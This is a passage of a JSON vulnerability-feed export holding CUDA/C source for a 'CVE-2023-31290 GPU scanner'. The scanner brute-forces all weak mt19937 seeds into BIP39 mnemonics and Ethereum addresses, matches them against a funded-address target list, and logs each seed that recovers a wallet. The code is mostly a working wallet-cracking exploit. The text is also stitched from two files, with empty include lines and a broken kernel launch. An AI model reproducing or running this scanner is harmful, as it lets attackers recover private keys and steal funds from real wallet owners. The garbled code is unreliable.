seed\", 12, seed, 64, I) != 0) return -1;\n  memcpy(key, I, 32); memcpy(cc, I + 32, 32);\n  if (ckd_priv(ctx, key, cc, 0x8000002cu) != 0) return -1;\n  if (ckd_priv(ctx, key, cc, 0x8000003cu) != 0) return -1;\n  if (ckd_priv(ctx, key, cc, 0x80000000u) != 0) return -1;\n  if (ckd_priv(ctx, key, cc, 0) != 0) return -1;\n  if (ckd_priv(ctx, key, cc, 0) != 0) return -1;\n  secp256k1_pubkey pub;\n  if (!secp256k1_ec_pubkey_create(ctx, &amp;pub, key)) return -1;\n  uint8_t uncomp[65];\n  size_t ulen = 65;\n  if (!secp256k1_ec_pubkey_serialize(ctx, uncomp, &amp;ulen, &amp;pub, SECP256K1_EC_UNCOMPRESSED)) return -1;\n  uint8_t h[32];\n  keccak256(uncomp + 1, 64, h);\n  memcpy(addr, h + 12, 20);\n  return 0;\n}\nstatic int cmp20(const void *a, const void *b) { return memcmp(a, b, 20); }\nstatic const uint8_t *g_targets;\nstatic size_t g_ntargets;\nstatic int in_targets(const uint8_t addr[20]) {\n  return g_ntargets &amp;&amp; bsearch(addr, g_targets, g_ntargets, 20, cmp20) != NULL;\n}\nstatic void hex20(const uint8_t a[20], char out[43]) {\n  static const char *h = \"0123456789abcdef\";\n  out[0] = '0'; out[1] = 'x';\n  for (int i = 0; i &lt; 20; i++) { out[2 + 2 * i] = h[a[i] &gt;&gt; 4]; out[3 + 2 * i] = h[a[i] &amp; 0xf]; }\n  out[42] = 0;\n}\n\nstatic FILE *hits_fp;\nstatic pthread_mutex_t hits_mu = PTHREAD_MUTEX_INITIALIZER;\nstatic volatile uint64_t g_done = 0;\nstatic volatile uint64_t g_hits = 0;\nstatic int g_inner_threads = 64;\n\nstatic int load_targets(const char *path) {\n  int fd = open(path, O_RDONLY);\n  if (fd &lt; 0) return -1;\n  struct stat st;\n  if (fstat(fd, &amp;st) || st.st_size % 20) { close(fd); return -1; }\n  g_ntargets = (size_t)st.st_size / 20;\n  g_targets = (const uint8_t *)mmap(NULL, (size_t)st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);\n  return g_targets == MAP_FAILED ? -1 : 0;\n}\n\nstatic int host_selftest_cpu(void) {\n  /* OpenSSL PBKDF2 of Donjon mnemonic must match GPU later. */\n  const char *m = \"stick bench smart report motor arrive enter river scale manage viable squeeze\";\n  uint8_t seed[64];\n  if (PKCS5_PBKDF2_HMAC(m, (int)strlen(m), (const unsigned char *)\"mnemonic\", 8, 2048, EVP_sha512(), 64, seed) != 1)\n    return 1;\n  secp256k1_context *ctx = secp256k1_context_create(SECP256K1_CONTEXT_SIGN);\n  uint8_t addr[20];\n  int rc = eth_from_seed64(ctx, seed, addr);\n  secp256k1_context_destroy(ctx);\n  char hx[43];\n  hex20(addr, hx);\n  int ok = rc == 0 &amp;&amp; strncmp(hx + 2, \"df6d9547e163d5e7eafbe2feb24bfa12a4c913c0\", 40) == 0;\n  printf(\"host Donjon eth %s %s\\n\", ok ? \"PASS\" : \"FAIL\", hx);\n  return ok ? 0 : 1;\n}\n\nstatic int gpu_selftest(int dev) {\n  CHECK_CUDA(cudaSetDevice(dev));\n  CHECK_CUDA(cudaMemcpyToSymbol(D_WORDS, H_WORDS, sizeof(H_WORDS)));\n  CHECK_CUDA(cudaMemcpyToSymbol(D_WLEN, H_WLEN, sizeof(H_WLEN)));\n  uint8_t *d_out;\n  CHECK_CUDA(cudaMalloc(&amp;d_out, 64));\n  k_derive_seed64&lt;&lt;&lt;1, 1&gt;&gt;&gt;(0xc92b023d, 1, d_out);\n  CHECK_CUDA(cudaDeviceSynchronize());\n  uint8_t got[64];\n  CHECK_CUDA(cudaMemcpy(got, d_out, 64, cudaMemcpyDeviceToHost));\n  cudaFree(d_out);\n  const char *m = \"stick bench smart report motor arrive enter river scale manage viable squeeze\";\n  uint8_t exp[64];\n  PKCS5_PBKDF2_HMAC(m, (int)strlen(m), (const unsigned char *)\"mnemonic\", 8, 2048, EVP_sha512(), 64, exp);\n  int ok = memcmp(got, exp, 64) == 0;\n  printf(\"gpu PBKDF2 Donjon %s\\n\", ok ? \"PASS\" : \"FAIL\");\n  if (!ok) {\n    printf(\"  exp \"); for (int i = 0; i &lt; 16; i++) printf(\"%02x\", exp[i]); printf(\"\\n\");\n    printf(\"  got \"); for (int i = 0; i &lt; 16; i++) printf(\"%02x\", got[i]); printf(\"\\n\");\n  }\n  secp256k1_context *ctx = secp256k1_context_create(SECP256K1_CONTEXT_SIGN);\n  uint8_t addr[20];\n  eth_from_seed64(ctx, got, addr);\n  secp256k1_context_destroy(ctx);\n  char hx[43];\n  hex20(addr, hx);\n  int aok = strncmp(hx + 2, \"df6d9547e163d5e7eafbe2feb24bfa12a4c913c0\", 40) == 0;\n  printf(\"gpu-&gt;eth Donjon %s %s\\n\", aok ? \"PASS\" : \"FAIL\", hx);\n  return (ok &amp;&amp; aok) ? 0 : 1;\n}\n\nstatic void process_batch(secp256k1_context *ctx, uint32_t start, int n, const uint8_t *seed64) {\n#ifdef _OPENMP\n#pragma omp parallel num_threads(g_inner_threads)\n  {\n    secp256k1_context *tctx = secp256k1_context_create(SECP256K1_CONTEXT_SIGN);\n#pragma omp for schedule(static)\n    for (int i = 0; i &lt; n; i++) {\n      uint8_t addr[20];\n      if (eth_from_seed64(tctx, seed64 + (size_t)i * 64, addr) == 0 &amp;&amp; in_targets(addr)) {\n        char hx[43];\n        hex20(addr, hx);\n        pthread_mutex_lock(&amp;hits_mu);\n        fprintf(hits_fp, \"{\\\"seed\\\":\\\"0x%08x\\\",\\\"address\\\":\\\"%s\\\"}\\n\", start + (uint32_t)i, hx);\n        fflush(hits_fp);\n        pthread_mutex_unlock(&amp;hits_mu);\n        __sync_fetch_and_add(&amp;g_hits, 1);\n        fprintf(stderr, \"HIT seed=0x%08x %s\\n\", start + (uint32_t)i, hx);\n      }\n    }\n    secp256k1_context_destroy(tctx);\n  }\n#else\n  for (int i = 0; i &lt; n; i++) {\n    uint8_t addr[20];\n    if (eth_from_seed64(ctx, seed64 + (size_t)i * 64, addr) == 0 &amp;&amp; in_targets(addr)) {\n      char hx[43];\n      hex20(addr, hx);\n      fprintf(hits_fp, \"{\\\"seed\\\":\\\"0x%08x\\\",\\\"address\\\":\\\"%s\\\"}\\n\", start + (uint32_t)i, hx);\n      fflush(hits_fp);\n      __sync_fetch_and_add(&amp;g_hits, 1);\n      fprintf(stderr, \"HIT seed=0x%08x %s\\n\", start + (uint32_t)i, hx);\n    }\n  }\n#endif\n  __sync_fetch_and_add(&amp;g_done, (uint64_t)n);\n}\n\nint main(int argc, char **argv) {\n  const char *tpath = \"targets.bin\";\n  const char *hpath = \"hits.jsonl\";\n  uint64_t start = 0, count = 1ULL &lt;&lt; 32;\n  int threads = 256;\n  if (argc &gt;= 2 &amp;&amp; !strcmp(argv[1], \"selftest\")) {\n    if (host_selftest_cpu()) return 1;\n    int ndev = 0;\n    CHECK_CUDA(cudaGetDeviceCount(&amp;ndev));\n    printf(\"cuda devices=%d\\n\", ndev);\n    if (ndev &lt; 1) return 1;\n    return gpu_selftest(0);\n  }\n  for (int i = 1; i &lt; argc; i++) {\n    if (!strcmp(argv[i], \"--targets\") &amp;&amp; i + 1 &lt; argc) tpath = argv[++i];\n    else if (!strcmp(argv[i], \"--hits\") &amp;&amp; i + 1 &lt; argc) hpath = argv[++i];\n    else if (!strcmp(argv[i], \"--start\") &amp;&amp; i + 1 &lt; argc) start = strtoull(argv[++i], NULL, 0);\n    else if (!strcmp(argv[i], \"--count\") &amp;&amp; i + 1 &lt; argc) count = strtoull(argv[++i], NULL, 0);\n    else if (!strcmp(argv[i], \"--threads\") &amp;&amp; i + 1 &lt; argc) threads = atoi(argv[++i]);\n  }\n  if (load_targets(tpath)) { perror(\"targets\"); return 1; }\n  hits_fp = fopen(hpath, \"a\");\n  if (!hits_fp) { perror(\"hits\"); return 1; }\n  if (host_selftest_cpu() || gpu_selftest(0)) {\n    fprintf(stderr, \"refusing to scan: selftest failed\\n\");\n    return 1;\n  }\n  int ndev = 0;\n  CHECK_CUDA(cudaGetDeviceCount(&amp;ndev));\n  if (ndev &lt; 1) return 1;\n  printf(\"scan start=%\" PRIu64 \" count=%\" PRIu64 \" gpus=%d targets=%zu\\n\", start, count, ndev, g_ntargets);\n  fflush(stdout);\n\n  const int BATCH = 1 &lt;&lt; 18;\n#ifdef _OPENMP\n  omp_set_nested(1);\n  omp_set_max_active_levels(2);\n  g_inner_threads = threads / (ndev &gt; 0 ? ndev : 1);\n  if (g_inner_threads &lt; 8) g_inner_threads = 8;\n  printf(\"inner_cpu_threads=%d\\n\", g_inner_threads);\n#endif\n  uint64_t done_at = start + count;\n  if (done_at &gt; (1ULL &lt;&lt; 32)) done_at = 1ULL &lt;&lt; 32;\n  struct timespec t0;\n  clock_gettime(CLOCK_MONOTONIC, &amp;t0);\n\n#pragma omp parallel num_threads(ndev)\n  {\n    int gpu = 0;\n#ifdef _OPENMP\n    gpu = omp_get_thread_num();\n#endif\n    CHECK_CUDA(cudaSetDevice(gpu));\n    CHECK_CUDA(cudaMemcpyToSymbol(D_WORDS, H_WORDS, sizeof(H_WORDS)));\n    CHECK_CUDA(cudaMemcpyToSymbol(D_WLEN, H_WLEN, sizeof(H_WLEN)));\n    uint8_t *d_seed = NULL;\n    CHECK_CUDA(cudaMalloc(&amp;d_seed, (size_t)BATCH * 64));\n    uint8_t *h_seed = (uint8_t *)malloc((size_t)BATCH * 64);\n    secp256k1_context *ctx = secp256k1_context_create(SECP256K1_CONTEXT_SIGN);\n    uint64_t my_count = (done_at - start) / (uint64_t)ndev;\n    uint64_t my_start = start + (uint64_t)gpu * my_count;\n    uint64_t my_end = (gpu == ndev - 1) ? done_at : my_start + my_count;\n    for (uint64_t s = my_start; s &lt; my_end; ) {\n      int n = BATCH;\n      if ((uint64_t)n &gt; my_end - s) n = (int)(my_end - s);\n      int block = 128;\n      int grid = (n + block - 1) / block;\n      k_derive_seed64&lt;&lt;&gt;&gt;((uint32_t)s, n, d_seed);\n      CHECK_CUDA(cudaDeviceSynchronize());\n      CHECK_CUDA(cudaMemcpy(h_seed, d_seed, (size_t)n * 64, cudaMemcpyDeviceToHost));\n      process_batch(ctx, (uint32_t)s, n, h_seed);\n      if (gpu == 0) {\n        struct timespec t1;\n        clock_gettime(CLOCK_MONOTONIC, &amp;t1);\n        double sec = (t1.tv_sec - t0.tv_sec) + (t1.tv_nsec - t0.tv_nsec) / 1e9;\n        uint64_t done = __sync_add_and_fetch(&amp;g_done, 0);\n        uint64_t hits = __sync_add_and_fetch(&amp;g_hits, 0);\n        double r = done / (sec &gt; 0.001 ? sec : 0.001);\n        double eta = r &gt; 0 ? (count - done) / r : 0;\n        fprintf(stderr, \"progress done=%\" PRIu64 \"/%\" PRIu64 \" (%.3f%%) rate=%.0f/s hits=%\" PRIu64 \" eta=%.0fs\\n\",\n                done, count, 100.0 * done / (double)count, r, hits, eta);\n      }\n      s += (uint64_t)n;\n    }\n    secp256k1_context_destroy(ctx);\n    free(h_seed);\n    cudaFree(d_seed);\n  }\n  printf(\"DONE hits=%\" PRIu64 \"\\n\", (uint64_t)__sync_add_and_fetch(&amp;g_hits, 0));\n  fclose(hits_fp);\n  return 0;\n}\n", "creation_timestamp": "2026-09-04T01:27:06.975017Z"}, {"uuid": "ea2b0e3a-384b-4da4-8f65-e7155a92adba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31290", "type": "seen", "source": "https://gist.github.com/itwizardo/164932e17b7d24453beb2bb4fb5bb345", "content": "/* CVE-2023-31290 GPU scanner\n * Device: std::mt19937 -&gt; BIP39-128 mnemonic -&gt; PBKDF2-HMAC-SHA512/2048\n * Host:   BIP32 m/44'/60'/0'/0/0 -&gt; keccak ETH addr -&gt; funded-list bsearch\n * Selftest: Ledger Donjon seed 0xc92b023d\n */\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#ifdef _OPENMP\n#include \n#endif\n\n#include \"words_cuda.inc\"\n\n#define CHECK_CUDA(x)                                                          \\\n  do {                                                                         \\\n    cudaError_t _e = (x);                                                      \\\n    if (_e != cudaSuccess) {                                                   \\\n      fprintf(stderr, \"CUDA %s:%d %s\\n\", __FILE__, __LINE__, cudaGetErrorString(_e)); \\\n      exit(1);                                                                 \\\n    }                                                                          \\\n  } while (0)\n\n/* ---------------- SHA-512 (FIPS 180-4) ---------------- */\n__device__ __constant__ uint64_t DK[80] = {\n    0x428a2f98d728ae22ULL, 0x7137449123ef65cdULL, 0xb5c0fbcfec4d3b2fULL, 0xe9b5dba58189dbbcULL,\n    0x3956c25bf348b538ULL, 0x59f111f1b605d019ULL, 0x923f82a4af194f9bULL, 0xab1c5ed5da6d8118ULL,\n    0xd807aa98a3030242ULL, 0x12835b0145706fbeULL, 0x243185be4ee4b28cULL, 0x550c7dc3d5ffb4e2ULL,\n    0x72be5d74f27b896fULL, 0x80deb1fe3b1696b1ULL, 0x9bdc06a725c71235ULL, 0xc19bf174cf692694ULL,\n    0xe49b69c19ef14ad2ULL, 0xefbe4786384f25e3ULL, 0x0fc19dc68b8cd5b5ULL, 0x240ca1cc77ac9c65ULL,\n    0x2de92c6f592b0275ULL, 0x4a7484aa6ea6e483ULL, 0x5cb0a9dcbd41fbd4ULL, 0x76f988da831153b5ULL,\n    0x983e5152ee66dfabULL, 0xa831c66d2db43210ULL, 0xb00327c898fb213fULL, 0xbf597fc7beef0ee4ULL,\n    0xc6e00bf33da88fc2ULL, 0xd5a79147930aa725ULL, 0x06ca6351e003826fULL, 0x142929670a0e6e70ULL,\n    0x27b70a8546d22ffcULL, 0x2e1b21385c26c926ULL, 0x4d2c6dfc5ac42aedULL, 0x53380d139d95b3dfULL,\n    0x650a73548baf63deULL, 0x766a0abb3c77b2a8ULL, 0x81c2c92e47edaee6ULL, 0x92722c851482353bULL,\n    0xa2bfe8a14cf10364ULL, 0xa81a664bbc423001ULL, 0xc24b8b70d0f89791ULL, 0xc76c51a30654be30ULL,\n    0xd192e819d6ef5218ULL, 0xd69906245565a910ULL, 0xf40e35855771202aULL, 0x106aa07032bbd1b8ULL,\n    0x19a4c116b8d2d0c8ULL, 0x1e376c085141ab53ULL, 0x2748774cdf8eeb99ULL, 0x34b0bcb5e19b48a8ULL,\n    0x391c0cb3c5c95a63ULL, 0x4ed8aa4ae3418acbULL, 0x5b9cca4f7763e373ULL, 0x682e6ff3d6b2b8a3ULL,\n    0x748f82ee5defb2fcULL, 0x78a5636f43172f60ULL, 0x84c87814a1f0ab72ULL, 0x8cc702081a6439ecULL,\n    0x90befffa23631e28ULL, 0xa4506cebde82bde9ULL, 0xbef9a3f7b2c67915ULL, 0xc67178f2e372532bULL,\n    0xca273eceea26619cULL, 0xd186b8c721c0c207ULL, 0xeada7dd6cde0eb1eULL, 0xf57d4f7fee6ed178ULL,\n    0x06f067aa72176fbaULL, 0x0a637dc5a2c898a6ULL, 0x113f9804bef90daeULL, 0x1b710b35131c471bULL,\n    0x28db77f523047d84ULL, 0x32caab7b40c72493ULL, 0x3c9ebe0a15c9bebcULL, 0x431d67c49c100d4cULL,\n    0x4cc5d4becb3e42b6ULL, 0x597f299cfc657e2aULL, 0x5fcb6fab3ad6faecULL, 0x6c44198c4a475817ULL};\n\n__device__ __forceinline__ uint64_t rotr64(uint64_t x, int n) { return (x &gt;&gt; n) | (x &lt;&lt; (64 - n)); }\n__device__ __forceinline__ uint64_t load_be64(const uint8_t *p) {\n  return ((uint64_t)p[0] &lt;&lt; 56) | ((uint64_t)p[1] &lt;&lt; 48) | ((uint64_t)p[2] &lt;&lt; 40) | ((uint64_t)p[3] &lt;&lt; 32) |\n         ((uint64_t)p[4] &lt;&lt; 24) | ((uint64_t)p[5] &lt;&lt; 16) | ((uint64_t)p[6] &lt;&lt; 8) | (uint64_t)p[7];\n}\n__device__ __forceinline__ void store_be64(uint8_t *p, uint64_t x) {\n  p[0] = (uint8_t)(x &gt;&gt; 56); p[1] = (uint8_t)(x &gt;&gt; 48); p[2] = (uint8_t)(x &gt;&gt; 40); p[3] = (uint8_t)(x &gt;&gt; 32);\n  p[4] = (uint8_t)(x &gt;&gt; 24); p[5] = (uint8_t)(x &gt;&gt; 16); p[6] = (uint8_t)(x &gt;&gt; 8);  p[7] = (uint8_t)x;\n}\n\n__device__ void sha512_compress(uint64_t s[8], const uint8_t blk[128]) {\n  uint64_t W[80];\n#pragma unroll\n  for (int i = 0; i &lt; 16; i++) W[i] = load_be64(blk + 8 * i);\n#pragma unroll\n  for (int i = 16; i &lt; 80; i++) {\n    uint64_t s0 = rotr64(W[i - 15], 1) ^ rotr64(W[i - 15], 8) ^ (W[i - 15] &gt;&gt; 7);\n    uint64_t s1 = rotr64(W[i - 2], 19) ^ rotr64(W[i - 2], 61) ^ (W[i - 2] &gt;&gt; 6);\n    W[i] = W[i - 16] + s0 + W[i - 7] + s1;\n  }\n  uint64_t a = s[0], b = s[1], c = s[2], d = s[3], e = s[4], f = s[5], g = s[6], h = s[7];\n#pragma unroll\n  for (int i = 0; i &lt; 80; i++) {\n    uint64_t S1 = rotr64(e, 14) ^ rotr64(e, 18) ^ rotr64(e, 41);\n    uint64_t ch = (e &amp; f) ^ ((~e) &amp; g);\n    uint64_t t1 = h + S1 + ch + DK[i] + W[i];\n    uint64_t S0 = rotr64(a, 28) ^ rotr64(a, 34) ^ rotr64(a, 39);\n    uint64_t maj = (a &amp; b) ^ (a &amp; c) ^ (b &amp; c);\n    uint64_t t2 = S0 + maj;\n    h = g; g = f; f = e; e = d + t1; d = c; c = b; b = a; a = t1 + t2;\n  }\n  s[0] += a; s[1] += b; s[2] += c; s[3] += d; s[4] += e; s[5] += f; s[6] += g; s[7] += h;\n}\n\n__device__ void sha512(const uint8_t *data, int len, uint8_t out[64]) {\n  uint64_t st[8] = {0x6a09e667f3bcc908ULL, 0xbb67ae8584caa73bULL, 0x3c6ef372fe94f82bULL, 0xa54ff53a5f1d36f1ULL,\n                    0x510e527fade682d1ULL, 0x9b05688c2b3e6c1fULL, 0x1f83d9abfb41bd6bULL, 0x5be0cd19137e2179ULL};\n  uint8_t blk[128];\n  int n = len;\n  const uint8_t *p = data;\n  while (n &gt;= 128) {\n    sha512_compress(st, p);\n    p += 128;\n    n -= 128;\n  }\n  memset(blk, 0, 128);\n  if (n) memcpy(blk, p, n);\n  blk[n] = 0x80;\n  if (n &gt;= 112) {\n    sha512_compress(st, blk);\n    memset(blk, 0, 128);\n  }\n  store_be64(blk + 120, (uint64_t)len * 8);\n  sha512_compress(st, blk);\n#pragma unroll\n  for (int i = 0; i &lt; 8; i++) store_be64(out + 8 * i, st[i]);\n}\n\n/* HMAC-SHA512 with key &lt; 128 bytes (mnemonics are). */\n__device__ void hmac_sha512(const uint8_t *key, int klen, const uint8_t *msg, int mlen, uint8_t out[64]) {\n  uint8_t ipad[128], opad[128], inner[64], buf[256];\n#pragma unroll\n  for (int i = 0; i &lt; 128; i++) {\n    uint8_t k = (i &lt; klen) ? key[i] : 0;\n    ipad[i] = k ^ 0x36;\n    opad[i] = k ^ 0x5c;\n  }\n  memcpy(buf, ipad, 128);\n  memcpy(buf + 128, msg, mlen);\n  sha512(buf, 128 + mlen, inner);\n  memcpy(buf, opad, 128);\n  memcpy(buf + 128, inner, 64);\n  sha512(buf, 192, out);\n}\n\n__device__ void pbkdf2_mnemonic(const uint8_t *pass, int plen, uint8_t dk[64]) {\n  /* salt = \"mnemonic\" || INT_32_BE(1) */\n  uint8_t salt[12] = {'m', 'n', 'e', 'm', 'o', 'n', 'i', 'c', 0, 0, 0, 1};\n  uint8_t u[64], t[64];\n  hmac_sha512(pass, plen, salt, 12, u);\n  memcpy(t, u, 64);\n  for (int i = 1; i &lt; 2048; i++) {\n    hmac_sha512(pass, plen, u, 64, u);\n#pragma unroll\n    for (int j = 0; j &lt; 64; j++) t[j] ^= u[j];\n  }\n  memcpy(dk, t, 64);\n}\n\n/* std::mt19937 */\n__device__ void mt_entropy16(uint32_t seed, uint8_t ent[16]) {\n  uint32_t mt[624];\n  mt[0] = seed;\n  for (int i = 1; i &lt; 624; i++) mt[i] = 1812433253u * (mt[i - 1] ^ (mt[i - 1] &gt;&gt; 30)) + (uint32_t)i;\n  /* one twist, then 32 outputs, keep first 16 bytes */\n  for (int i = 0; i &lt; 624; i++) {\n    uint32_t y = (mt[i] &amp; 0x80000000u) | (mt[(i + 1) % 624] &amp; 0x7fffffffu);\n    uint32_t v = mt[(i + 397) % 624] ^ (y &gt;&gt; 1);\n    if (y &amp; 1) v ^= 0x9908b0dfu;\n    mt[i] = v;\n  }\n  for (int i = 0; i &lt; 16; i++) {\n    uint32_t y = mt[i];\n    y ^= y &gt;&gt; 11;\n    y ^= (y &lt;&lt; 7) &amp; 0x9d2c5680u;\n    y ^= (y &lt;&lt; 15) &amp; 0xefc60000u;\n    y ^= y &gt;&gt; 18;\n    ent[i] = (uint8_t)(y &amp; 0xff);\n  }\n}\n\n__constant__ char D_WORDS[2048][9];\n__constant__ unsigned char D_WLEN[2048];\n\n/* SHA-256 for BIP39 checksum only (16-byte input). */\n__device__ __constant__ uint32_t K256[64] = {\n    0x428a2f98,0x71374491,0xb5c0fbcf,0xe9b5dba5,0x3956c25b,0x59f111f1,0x923f82a4,0xab1c5ed5,\n    0xd807aa98,0x12835b01,0x243185be,0x550c7dc3,0x72be5d74,0x80deb1fe,0x9bdc06a7,0xc19bf174,\n    0xe49b69c1,0xefbe4786,0x0fc19dc6,0x240ca1cc,0x2de92c6f,0x4a7484aa,0x5cb0a9dc,0x76f988da,\n    0x983e5152,0xa831c66d,0xb00327c8,0xbf597fc7,0xc6e00bf3,0xd5a79147,0x06ca6351,0x14292967,\n    0x27b70a85,0x2e1b2138,0x4d2c6dfc,0x53380d13,0x650a7354,0x766a0abb,0x81c2c92e,0x92722c85,\n    0xa2bfe8a1,0xa81a664b,0xc24b8b70,0xc76c51a3,0xd192e819,0xd6990624,0xf40e3585,0x106aa070,\n    0x19a4c116,0x1e376c08,0x2748774c,0x34b0bcb5,0x391c0cb3,0x4ed8aa4a,0x5b9cca4f,0x682e6ff3,\n    0x748f82ee,0x78a5636f,0x84c87814,0x8cc70208,0x90befffa,0xa4506ceb,0xbef9a3f7,0xc67178f2};\n__device__ __forceinline__ uint32_t rotr32(uint32_t x, int n) { return (x &gt;&gt; n) | (x &lt;&lt; (32 - n)); }\n__device__ uint32_t sha256_first_byte(const uint8_t ent[16]) {\n  uint32_t W[64];\n  uint8_t blk[64] = {0};\n  memcpy(blk, ent, 16);\n  blk[16] = 0x80;\n  blk[63] = 128; /* 16*8 = 128 bits */\n#pragma unroll\n  for (int i = 0; i &lt; 16; i++)\n    W[i] = ((uint32_t)blk[4 * i] &lt;&lt; 24) | ((uint32_t)blk[4 * i + 1] &lt;&lt; 16) | ((uint32_t)blk[4 * i + 2] &lt;&lt; 8) | blk[4 * i + 3];\n#pragma unroll\n  for (int i = 16; i &lt; 64; i++) {\n    uint32_t s0 = rotr32(W[i - 15], 7) ^ rotr32(W[i - 15], 18) ^ (W[i - 15] &gt;&gt; 3);\n    uint32_t s1 = rotr32(W[i - 2], 17) ^ rotr32(W[i - 2], 19) ^ (W[i - 2] &gt;&gt; 10);\n    W[i] = W[i - 16] + s0 + W[i - 7] + s1;\n  }\n  uint32_t a = 0x6a09e667, b = 0xbb67ae85, c = 0x3c6ef372, d = 0xa54ff53a;\n  uint32_t e = 0x510e527f, f = 0x9b05688c, g = 0x1f83d9ab, h = 0x5be0cd19;\n#pragma unroll\n  for (int i = 0; i &lt; 64; i++) {\n    uint32_t S1 = rotr32(e, 6) ^ rotr32(e, 11) ^ rotr32(e, 25);\n    uint32_t ch = (e &amp; f) ^ ((~e) &amp; g);\n    uint32_t t1 = h + S1 + ch + K256[i] + W[i];\n    uint32_t S0 = rotr32(a, 2) ^ rotr32(a, 13) ^ rotr32(a, 22);\n    uint32_t maj = (a &amp; b) ^ (a &amp; c) ^ (b &amp; c);\n    uint32_t t2 = S0 + maj;\n    h = g; g = f; f = e; e = d + t1; d = c; c = b; b = a; a = t1 + t2;\n  }\n  a += 0x6a09e667;\n  return (uint8_t)(a &gt;&gt; 24);\n}\n\n__device__ int make_mnemonic(uint32_t seed, uint8_t *mnemo) {\n  uint8_t ent[16];\n  mt_entropy16(seed, ent);\n  uint8_t bits[17];\n  memcpy(bits, ent, 16);\n  bits[16] = sha256_first_byte(ent);\n  int pos = 0;\n  for (int w = 0; w &lt; 12; w++) {\n    int idx = 0;\n    int bit = w * 11;\n    for (int j = 0; j &lt; 11; j++) {\n      int p = bit + j;\n      idx = (idx &lt;&lt; 1) | ((bits[p &gt;&gt; 3] &gt;&gt; (7 - (p &amp; 7))) &amp; 1);\n    }\n    int wl = D_WLEN[idx];\n    if (w) mnemo[pos++] = ' ';\n    for (int k = 0; k &lt; wl; k++) mnemo[pos++] = (uint8_t)D_WORDS[idx][k];\n  }\n  mnemo[pos] = 0;\n  return pos;\n}\n\n__global__ void k_derive_seed64(uint32_t start, int n, uint8_t *out64) {\n  int i = blockIdx.x * blockDim.x + threadIdx.x;\n  if (i &gt;= n) return;\n  uint8_t mnemo[128];\n  int mlen = make_mnemonic(start + (uint32_t)i, mnemo);\n  pbkdf2_mnemonic(mnemo, mlen, out64 + (size_t)i * 64);\n}\n\n/* ---------------- host ETH path (verified vs Donjon) ---------------- */\nstatic int hmac_sha512_host(const uint8_t *key, size_t klen, const uint8_t *data, size_t dlen, uint8_t out[64]) {\n  unsigned int olen = 64;\n  return HMAC(EVP_sha512(), key, (int)klen, data, dlen, out, &amp;olen) &amp;&amp; olen == 64 ? 0 : -1;\n}\n\ntypedef struct {\n  EC_GROUP *group;\n  BN_CTX *bn;\n  BIGNUM *order, *k, *t;\n  EC_POINT *P;\n} EcTls;\n\nstatic int ec_tls_init(EcTls *e) {\n  e-&gt;group = EC_GROUP_new_by_curve_name(NID_secp256k1);\n  e-&gt;bn = BN_CTX_new();\n  e-&gt;order = BN_new();\n  e-&gt;k = BN_new();\n  e-&gt;t = BN_new();\n  e-&gt;P = e-&gt;group ? EC_POINT_new(e-&gt;group) : NULL;\n  if (!e-&gt;group || !e-&gt;bn || !e-&gt;order || !e-&gt;k || !e-&gt;t || !e-&gt;P) return -1;\n  return EC_GROUP_get_order(e-&gt;group, e-&gt;order, e-&gt;bn) == 1 ? 0 : -1;\n}\nstatic void ec_tls_free(EcTls *e) {\n  if (e-&gt;P) EC_POINT_free(e-&gt;P);\n  if (e-&gt;t) BN_free(e-&gt;t);\n  if (e-&gt;k) BN_free(e-&gt;k);\n  if (e-&gt;order) BN_free(e-&gt;order);\n  if (e-&gt;bn) BN_CTX_free(e-&gt;bn);\n  if (e-&gt;group) EC_GROUP_free(e-&gt;group);\n}\nstatic int priv_to_pub(EcTls *e, const uint8_t priv[32], uint8_t *out, int compressed) {\n  if (!BN_bin2bn(priv, 32, e-&gt;k)) return -1;\n  if (EC_POINT_mul(e-&gt;group, e-&gt;P, e-&gt;k, NULL, NULL, e-&gt;bn) != 1) return -1;\n  size_t want = compressed ? 33 : 65;\n  point_conversion_form_t form = compressed ? POINT_CONVERSION_COMPRESSED : POINT_CONVERSION_UNCOMPRESSED;\n  if (EC_POINT_point2oct(e-&gt;group, e-&gt;P, form, out, want, e-&gt;bn) != want) return -1;\n  return 0;\n}\nstatic int tweak_add(EcTls *e, uint8_t key[32], const uint8_t il[32]) {\n  if (!BN_bin2bn(key, 32, e-&gt;k) || !BN_bin2bn(il, 32, e-&gt;t)) return -1;\n  if (BN_is_zero(e-&gt;t) || BN_cmp(e-&gt;t, e-&gt;order) &gt;= 0) return -1;\n  if (BN_mod_add(e-&gt;k, e-&gt;k, e-&gt;t, e-&gt;order, e-&gt;bn) != 1) return -1;\n  if (BN_is_zero(e-&gt;k)) return -1;\n  return BN_bn2binpad(e-&gt;k, key, 32) == 32 ? 0 : -1;\n}\nstatic int ckd_priv(EcTls *e, uint8_t key[32], uint8_t cc[32], uint32_t index) {\n  uint8_t data[37], I[64];\n  if (index &amp; 0x80000000u) {\n    data[0] = 0;\n    memcpy(data + 1, key, 32);\n  } else {\n    if (priv_to_pub(e, key, data, 1) != 0) return -1;\n  }\n  data[33] = (uint8_t)(index &gt;&gt; 24); data[34] = (uint8_t)(index &gt;&gt; 16);\n  data[35] = (uint8_t)(index &gt;&gt; 8);  data[36] = (uint8_t)index;\n  if (hmac_sha512_host(cc, 32, data, 37, I) != 0) return -1;\n  if (tweak_add(e, key, I) != 0) return -1;\n  memcpy(cc, I + 32, 32);\n  return 0;\n}\nstatic const uint64_t KECCAKF_RNDC[24] = {\n    0x0000000000000001ULL, 0x0000000000008082ULL, 0x800000000000808aULL, 0x8000000080008000ULL,\n    0x000000000000808bULL, 0x0000000080000001ULL, 0x8000000080008081ULL, 0x8000000000008009ULL,\n    0x000000000000008aULL, 0x0000000000000088ULL, 0x0000000080008009ULL, 0x000000008000000aULL,\n    0x000000008000808bULL, 0x800000000000008bULL, 0x8000000000008089ULL, 0x8000000000008003ULL,\n    0x8000000000008002ULL, 0x8000000000000080ULL, 0x000000000000800aULL, 0x800000008000000aULL,\n    0x8000000080008081ULL, 0x8000000000008080ULL, 0x0000000080000001ULL, 0x8000000080008008ULL};\nstatic const int KECCAKF_ROTC[24] = {1,  3,  6,  10, 15, 21, 28, 36, 45, 55, 2,  14,\n                                     27, 41, 56, 8,  25, 43, 62, 18, 39, 61, 20, 44};\nstatic const int KECCAKF_PILN[24] = {10, 7,  11, 